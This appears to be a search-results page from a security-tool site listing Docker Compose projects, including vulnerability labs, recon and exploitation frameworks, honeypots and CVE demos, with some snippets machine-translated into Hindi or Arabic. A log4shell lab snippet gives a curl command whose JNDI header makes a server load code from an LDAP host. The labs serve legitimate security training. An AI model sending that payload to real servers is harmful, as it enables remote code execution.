679 matches found
tarnish
tarnish tarnish is a static-analysis tool to aid researchers in security reviews of Chrome extensions. It automates much of the regular grunt work and helps you quickly identify potential security vulnerabilities. This tool accompanies the research blog post which can be found here. If you don't...
cve-2021-44228-log4j-test
cve-2021-44228-log4j-test Test 1. LDAP Server and Exploit File Download Server 1.1 Running Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN:...
holos
Docker compose for KVM. Define multi-VM stacks in one YAML file. No libvirt, no XML, no distributed control plane. Website and docs: https://zeroecco.github.io/holos/ The primitive is a VM, not a container. Every workload instance gets its own kernel boundary, qcow2 overlay, cloud-init seed, and...
Reconator
Reconator is an automated reconnaissance framework. Add a target — alone or in bulk — and the worker runs 17 recon modules against it subdomain enum, dirbrute, JS/link mining, WAF fingerprint, takeover check, GF triage, and more. The dashboard shows per-module output as it lands. Stack Layer| Tec...
wirehole
What is this? WireHole is a docker-compose project that combines WireGuard, PiHole, and Unbound to create a full or split-tunnel VPN that is easy to deploy and manage. This setup allows for a VPN with ad-blocking via PiHole and enhanced DNS privacy and caching through Unbound. Author 👤 Devin Stok...
AutoSploit
Docker deployment instructions tl;dr Using docker-compose: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker docker-compose run --rm autosploit Using just Docker: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker If y...
faraday
Open Source Vulnerability Manager सुरक्षा के दो कठिन कार्य हैं: नई जानकारी प्राप्त करने के स्मार्ट तरीके डिज़ाइन करना, और सुधार प्रयासों को बेहतर बनाने के लिए निष्कर्षों पर नज़र रखना। Faraday के साथ, आप कमजोरियों की खोज पर ध्यान केंद्रित कर सकते हैं, जबकि हम बाकी काम में आपकी मदद करते हैं। बस इसे...
nuvola
nuvola nuvola with the lowercase n is a tool to dump and perform automatic and manual security analysis on AWS environments configurations and services using predefined, extensible and custom rules created using a simple Yaml syntax. The general idea behind this project is to create an abstracted...
challenge-cve-2024-3552
challenge-cve-2024-3552 شغّل الأمر لبدء التحدي: docker-compose up ثم قم بالوصول إلى: http://localhost:8080 دليل الويب للمكوّن الإضافي النشط مجاني :D وابدأ الاستغلال...
CVE-2026-20896
CVE-2026-20896 प्रयोगशाला यह रिपॉजिटरी एक नियंत्रित और अधिकृत वातावरण में CVE-2026-20896 समस्या का पता लगाने के लिए एक छोटी, स्व-निहित प्रयोगशाला प्रदान करती है। अवलोकन प्रयोगशाला में शामिल है: poc.py: मेरी अनुकूलित प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट जो समस्या को प्रदर्शित करती है और ब्राउज़र-रेडी कुकी...
conpot
Conpot About Conpot is an ICS honeypot with the goal to collect intelligence about the motives and methods of adversaries targeting industrial control systems. Documentation The documentation can be found here. If you are just checking out conpot, we suggest that you go for quick install. If you...
writehat
WriteHat is a reporting tool which removes Microsoft Word and many hours of suffering from the reporting process. Markdown -- HTML -- PDF. Created by penetration testers, for penetration testers - but can be used to generate any kind of report. Written in Django Python 3. Features: Effortlessly...
log4shell_lab
log4shell शोषण प्रयोगशाला यह रिपॉजिटरी log4shell शोषण प्रयोगशाला के लिए एकल-पंक्ति सेटअप है। प्रयोगशाला सेटअप करें: docker-compose up -d शोषण चलाएँ: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" फिर vul कंटेनर पर जाएँ और देखें कि हमने वास्तव में मशीन को...
DSP
DockerSecurityPlayground Docker Security Playground एक एप्लिकेशन है जो आपको निम्नलिखित की अनुमति देता है: नेटवर्क और नेटवर्क सुरक्षा परिदृश्य बनाएं, ताकि अपने पीसी पर DSP इंस्टॉल करके नेटवर्क प्रोटोकॉल, नियम और सुरक्षा मुद्दों को समझ सकें। वल्नरेबिलिटी लैब परिदृश्यों का अनुकरण करके पेनिट्रेशन...
CVE-2018-19131
CVE-2018-19131 डेमो लेखक: Jonathan M. Wilbur कॉपीराइट वर्ष: 2018 लाइसेंस: MIT लाइसेंस इसके साथ कुछ भी अवैध न करें। यह मैलवेयर नहीं है। यह केवल एक अवधारणा-प्रमाण proof of concept है। यह CVE-2018-19131 का एक डेमो है, जो Docker Compose ऐप में चलता है। यह लाइब्रेरी Squid संस्करण 3.5.27 बनाती है, जो...
csaf
The Cyber Security Awareness Framework CSAF is a structured approach aimed at enhancing cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective cybersecurity awareness programs, covering key areas such as...
FACT
Forensic Artefact Collection Tool Overview FACT is a tool to collect, process and visualise forensic data from clusters of machines running in the cloud or on-premise. Deployment For a basic single-node deployment, we recommend using Docker and Docker Compose. First, read docker-compose.yaml for...
web-hacking-playground
Web Hacking Playground Description Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topic...
Compose Aperisite
AperiSite आवश्यकताएँ Docker; Docker Compose; वातावरण तैयार करने में कम समय, रचना करने में अधिक समय। डाउनलोड root@kitploit: git clone https://gitlab.com/AperiKube/compose-aperisite aperisite pushd aperisite/ git submodule update --init --recursive git submodule foreach --recursive git checkout...